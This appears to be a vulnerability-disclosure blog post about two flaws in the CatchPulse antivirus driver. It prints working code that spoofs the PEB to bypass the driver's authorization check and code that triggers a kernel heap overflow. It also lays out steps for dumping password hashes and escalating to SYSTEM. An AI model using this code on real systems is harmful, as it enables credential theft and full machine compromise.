· · · ·
12–18 minutes

A Tale of Two CatchPulse Antivirus Exploits

What happens when your antivirus becomes the easiest way to compromise your system? In this post, I uncover two zero-day vulnerabilities in the CatchPulse driver that allow an attacker to…

Introduction

While hunting for Windows driver vulnerabilities, I uncovered two severe flaws in CatchPulse Antivirus (affecting versions up to 10.9.3). The software suffers from a fundamental design flaw in how it handles file operations. The developers attempted to mitigate this by implementing process authentication to restrict driver interaction, but this protection is trivially bypassed. As a result, an attacker can easily access sensitive system files to dump password hashes. Taking it a step further, this bug can be pushed to trigger a heap overflow and weaponized for full kernel-level code execution. It’s a textbook example of the high stakes in driver development: in this case, a poorly implemented security product actually makes the host system less secure.

The first bug is currently being tracked as CVE-2026-11459.

What is CatchPulse?

CatchPulse is a consumer-grade antivirus product developed by SecureAge Technology. It boasts a “deny-by-default” policy, AI-driven malware detection, and traditional AV scanning. To facilitate these features, SecureAge includes several kernel driver components to execute low-level file system operations. These drivers allow the user-mode AV processes to request kernel handles for protected system resources, ensuring the software can scan files that are heavily restricted or currently in use by other processes. While these capabilities are essential for an antivirus to do its job, they become incredibly dangerous primitives the moment an attacker figures out how to hijack them.

IOCreateDevice Improper Usage

When I begin looking for exploits within a driver, the first place I check is the IoCreateDevice call. This is usually one of the first functions called within the driver and sets up the logical device for the driver to use. This is a very important step when creating a driver. It provides the communication interface with the Windows kernel and usermode.

However, it is very important to understand your driver use case and the quirks when calling the function. By default, IoCreateDevice allows any process (including unprivileged usermode ones!) to acquire a handle on the driver. This is the first pillar to fall in a driver exploit. By doing this, any user can get on the machine and begin interacting with the driver. As a result, the device security is left completely up to the driver implementation. In this case, the driver developer chose to use the flag 0x22 or FILE_DEVICE_UNKNOWN which does not provide any extra requirements on requesting a handle to the driver.

In most cases, including this one, there is no reason for non administrator processes to interface with the driver. While there are some cases this is required, this is not one of them. The antivirus itself runs with administrator permissions, so normal users have no reason to access the driver.

Driver Capabilities

While looking through the driver, I found that it has a number code paths within the IOCtl handler. Two of them stand out as potential exploitation vectors. The first one, case 0xB, being the request file handle path. This takes input from the IRP buffer sent by the user and passes it directly to FltCreateFile. This ultimately means a user can request a handle to any file on the system using this driver. Worse yet, the “Kernel” handle flag is set, meaning the driver uses its high privileges to request a high access kernel handle on the given resource. This bypasses the blocks on extremely important files like the SAM and SYSTEM registry hives.

However, a handle alone does not do you much good. Fortunately for me though, the driver has a comically convenient function that takes a given file handle and passes it to FltReadFile. This ultimately reads the contents of the file at the handle and returns them back to the calling process via the IRP buffer. This is obviously extremely bad and allows an attacker to easily dump user password hashes or any other sensitive file one the system with two very simple IRPs to this driver.

The driver developers knew of this risk and put an extra layer of protection in the way. Unfortunately, they didnt do a very good job and the protection can be easily bypass.

Bypassing Process Authorization via PEB Modification

To help prevent malicious actors from using the very user friendly IOCtl functions, the driver developers put an extra layer of authorization in the way. Whenever a process calls upon the driver to do something, the driver checks the command line variable for the process. This variable holds the path and any parameters used to spawn the process. In this case, the driver ensures the process calling is the path of the main CatchPulse service.

In theory, this is a great form of protection. The CatchPulse service is in a privileged path and runs as administrator. Therefore, any process running with the name and path of CatchPulse must either be CatchPulse, or the attacker already has administrator and the whole system is already lost. Well, there is one way a process can have the name and path of CatchPulse without having administrator, spoofing it!

Fortunately for me, the driver pulls this command line from the Process Environment Block or PEB. Funnily enough, this PEB resides within usermode memory. I honestly have no idea why the developers of Windows chose to do this, but there must be some reason. In theory, this structure should be completely fine to have within the kernel or even in the EPROCESS structure itself. I dont really see why a process would need to edit its own PEB directly for a legitimate purpose.

The PEB being within the process address space itself is great for my purposes. This means I can edit any part of the PEB I want with no special access required. In this case, I simply set my command line path to be that of the antivirus. Boom, CatchPulse security 100% bypassed.

In this case it is important to note that the original process name must be long enough to fit the whole new name within. This is because windows allocates the memory when the process is created, if the original name is too short there are not enough bytes to fit the new one. This is why there a bunch of ‘A’s on the end of my exploit executables.

Commandline spoofing through PEB modification:

HANDLE h = GetCurrentProcess();
PROCESS_BASIC_INFORMATION ProcessInformation;
ULONG length = 0;
HINSTANCE ntdll;
MYPROC GetProcessInformation;

// Path of the antivirus used to bypass the authentication check
wchar_t commandline[] = L"C:\\Program Files\\SecureAge\\AntiVirus\\sascansvc.exe";
ntdll = LoadLibrary(TEXT("Ntdll.dll"));
GetProcessInformation = (MYPROC)GetProcAddress(ntdll, "NtQueryInformationProcess");
 
// Get _PEB object location with GetProcessInformation
(GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &length);

// Spoof our process path to bypass the driver's authentication check
ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline;
ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline;

Here is a screen shot of process explorer showing that it thinks my exploit process is in fact CatchPulse as well. It even pulls the icon, name and version from the real executable.

Exploit 1: Arbitrary File Read

With the process authorization bypassed, I can move on to actually exploiting the driver. The first and most obvious thing to do with this driver is read a file from the system. More specifically SAM and SYSTEM, which can later be cracked. Hopefully this gives me an admin password. Its somewhat hard for me to even call this an exploit. Reading files is basically the intended functionality of the driver. This makes the overall exploitation process actually very simple.

To begin, I make sure to spoof command line in the PEB. From there, I request a handle to my target resource via the driver. The driver is nice enough to pass back a pointer to the handle it generated. While I cant do anything with it directly (its in kernel memory), I can pass it to the driver again by calling the read function. This function will happily return the data the target file contains back to my usermode process. I then just write the contents to a local file.

Now it is simple enough to extract the hashes from these dumps using impacket.

I then just give the hashes to hashcat. Hopefully, an account with higher privileges will crack.

Obviously, the ability to read files is pretty powerful. If there are other files you are interested in on the system, this exploit could easily be used to dump those as well. This LPE method can easily be stopped by ensuring passwords are up to snuff. Fortunately, there is something else noticed while reverse engineering this driver. The driver never checks the length of the file content against the length of the IRP system buffer before copying it. This is a very obvious potential heap overflow.

Exploit 2: Heap Overflow

Because the driver blindly copies the file content to the IRP buffer without checking lengths, it is very easy to trigger a heap overflow. Heap overflows are bad news for anyone trying to keep their software secure. There are 2 paths the code can take when reading a file. Both the FltReadFile and ZwReadFile routes fail to properly verify file lengths before copying. This can be seen in the vulnerable function below, where the FltReadFile route is the most common one taken.

This means I can cause a Non-Paged Pool Overflow if send an IRP to read a file, but don’t give enough space to contain the file. The kernel will then copy the file contents into the IRP System Buffer and overflow the allotted bounds. This ends up corrupting nearby objects in the pool, 9 times out of 10 crashing the machine. To make this method more streamlined, I use named pipes to act as my files. In Windows, named pipes are just another form of system resource and can be read by FltReadFile. This lets me keep my payload in memory and not have to drop temporary files to disk.

The following is the code to trigger the overflow. I have the ability to send the IRP with prime overflow and then decide whether I actually want to cause an overflow or not. By taking this approach, I can see where my system buffer lands before deciding to overflow it or not. Doing this allows me to selectively overflow only if my target objects are in the correct place.

// Start the IRP process and cause the kernel to allocate a system buffer on the target tChunkSize LFH heap
void OverflowManager::PrimeOverflow(UINT64 tChunkSize, UINT64 irpDelay) {
    if (overflowPrimed)
    {
        printf(" [!] Overflow already primed!\n");
        return;
    }

    chunkSize = tChunkSize;
    LPCSTR pipeName = "\\\\.\\pipe\\testPipe";
    sPipe = NULL;

    securityAttributes = { 0 };
    securityDescriptor = NULL;

    ConvertStringSecurityDescriptorToSecurityDescriptorA("D:(A;;GA;;;WD)", SDDL_REVISION_1, &securityDescriptor, NULL);

    securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
    securityAttributes.bInheritHandle = FALSE;
    securityAttributes.lpSecurityDescriptor = securityDescriptor;

    sPipe = CreateNamedPipeA(pipeName, PIPE_ACCESS_OUTBOUND, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 512, 512, 0, &securityAttributes);

    if (sPipe == INVALID_HANDLE_VALUE) {
        printf(" [!] Failed to create pipe. Error: %lu\n", GetLastError());
        LocalFree(securityDescriptor);
        return;
    }

    std::thread([](HANDLE pipe) {ConnectNamedPipe(pipe, NULL); }, sPipe).detach();
    irpThread = std::thread(&OverflowManager::SendIRP, this);
    Sleep(irpDelay);

    overflowPrimed = true;
}

void OverflowManager::SendIRP()
{
    UINT32 status = 0;
    UINT32 offset = 0;

    WCHAR filePath[] = L"\\Device\\NamedPipe\\testPipe";

    UINT64 fileHandle = GetFileHandle(driver, filePath);

    ReadFileHandle(driver, (HANDLE)fileHandle, CalculateIRPSize(chunkSize));

}


// Continue the IRP without overflow
void OverflowManager::PassOverflow()
{
    if (!overflowPrimed)
    {
        printf(" [!] Overflow not primed!\n");
        return;
    }


    UINT64 totalPayloadSize = CalculateIRPSize(chunkSize) - 0x18;

    char* payload = new char[totalPayloadSize];


    memset(payload, 'A', totalPayloadSize);
    DWORD bytesWritten;

    if (WriteFile(sPipe, payload, totalPayloadSize, &bytesWritten, NULL))
        FlushFileBuffers(sPipe);

    DisconnectNamedPipe(sPipe);

    CloseHandle(sPipe);
    LocalFree(securityDescriptor);

    irpThread.join();
    overflowPrimed = false;
}

// Overflow System Buffer with the supplied ata by the given amount
void OverflowManager::TriggerOverflow(BYTE* overflowData, UINT64 overflowSize)
{
    if (!overflowPrimed)
    {
        printf(" [!] Overflow not primed!\n");
        return;
    }

    UINT64 paddingSize = CalculateIRPSize(chunkSize) - 0x18;


	UINT64 totalPayloadSize = paddingSize + overflowSize;

        
	char* payload = new char[totalPayloadSize];

	for (UINT64 i = 0; i < paddingSize; i++) 
           payload[i] = 'A';

	memcpy(payload + paddingSize, overflowData, overflowSize);
    DWORD bytesWritten;

    if (WriteFile(sPipe, payload, totalPayloadSize, &bytesWritten, NULL))
        FlushFileBuffers(sPipe);
    
    DisconnectNamedPipe(sPipe);
    
    CloseHandle(sPipe);
    LocalFree(securityDescriptor);
    irpThread.join();

    overflowPrimed = false;
}

Pre-Overflow:

Post-Overflow:

This eventually resulted in the machine blue screening when the OS tried to use the corrupted object. So what, I can shutdown the machine in an overcomplicated way, big whoop. If I strategically control what I overflow, I can get the ability to read and write memory in the kernel. This mean full machine compromise.

Throughout the course of developing this exploit I improved my heap overflow code. Ultimately, I developed a faster, more stable approach. I’m currently rolling this technique into a standalone, plug-and-play library for kernel pool exploitation, which will get its own deep-dive post once I clean up the code and build in some necessary safety checks. Until then, here is a high-level breakdown of how I weaponized this bug using the new technique:

  1. The Data Leak: Spray and overflow ThreadName objects to leak data from the Non-Paged Pool. Since their sizes are highly malleable, they make excellent grooming targets.
  2. Target Alignment: Loop the leak primitive until a Named Pipe Data Queue (Npfs) has landed perfectly adjacent to our overflowable target (the IRP System Buffer).
  3. Arbitrary Read: Corrupt the Named Pipe Data Queue to establish an arbitrary read primitive. Because we verified the memory layout in Step 2, we completely avoid a blind overflow and prevent a BSOD.
  4. I/O Ring Hunting: Use the newly created read primitive to scan for mass-allocated I/O Ring objects (_IORING_OBJECT). I again ensure an overflowable object sits directly in front of an I/O Ring.
  5. Arbitrary Write: Overflow the I/O Ring to safely gain an arbitrary write primitive.
  6. Privilege Escalation: Read the SYSTEM process, steal its token, and overwrite our own.
  7. Clean Up: Fix the corrupted structures to keep the kernel happy and exit cleanly.

Is this method bulletproof? No, but it is a massive upgrade from my previous chain, which relied on two blind overflows. Each blind overflow was a change to cause a BSOD. This new method reduces the risk to a single blind overflow and at the same time speeds up the execution. With some further tuning in the upcoming library, I believe I can squeeze out even more stability. Of course, given the chaotic nature of kernel pool allocations, 100% reliability is not possible. But the closer you can get the better.

If you would like to read the detailed technical post about my previous heap overflow method, it can be found here: Zero-Day Breakdown: RevoUninstaller Heap Overflow Exploit

This strategic corruption grants me my ultimate goal: stable arbitrary read/write access to kernel virtual memory straight from my user-mode application. With this capability, I can manipulate nearly anything on the system. To demonstrate the PoC, I implemented a standard token-stealing attack. By using the primitives to locate the SYSTEM token and overwrite my own process token, I instantly elevate my execution context to NT AUTHORITY\SYSTEM. I am now operating at a higher privilege than a local Admin. Spawning a PowerShell shell from this context gives me total reign over the system.

Security products typically have a massive blind spot when it comes to kernel-level exploits, which is why both Windows Defender and CatchPulse ignore this binary completely. Ironically, CatchPulse is perfectly fine with an exploit that specifically targets its own architecture. To a standard AV, my exploit just looks like a user process sending normal IRPs to a trusted driver. It doesn’t trigger any typical user-mode malware heuristics. This is the scary reality of kernel vulnerabilities: once an attacker gets in, they can completely strip the system of its defenses. From there, they could load the most poorly coded, obnoxious RAT you’ve ever seen and it will never get caught, because the software meant to catch it is already dead.

Conclusion

I hope you enjoyed this deep dive into the CatchPulse vulnerabilities. Finding and developing these kinds of exploits is a huge passion of mine, and I always love seeing what crazy flaws exist out in the wild. If there’s one major takeaway here, it’s that driver developers have absolutely zero margin for error. As we’ve seen, a single oversight in kernel-level code can easily be manipulated, turning the very software designed to protect a system into the root cause of its complete compromise.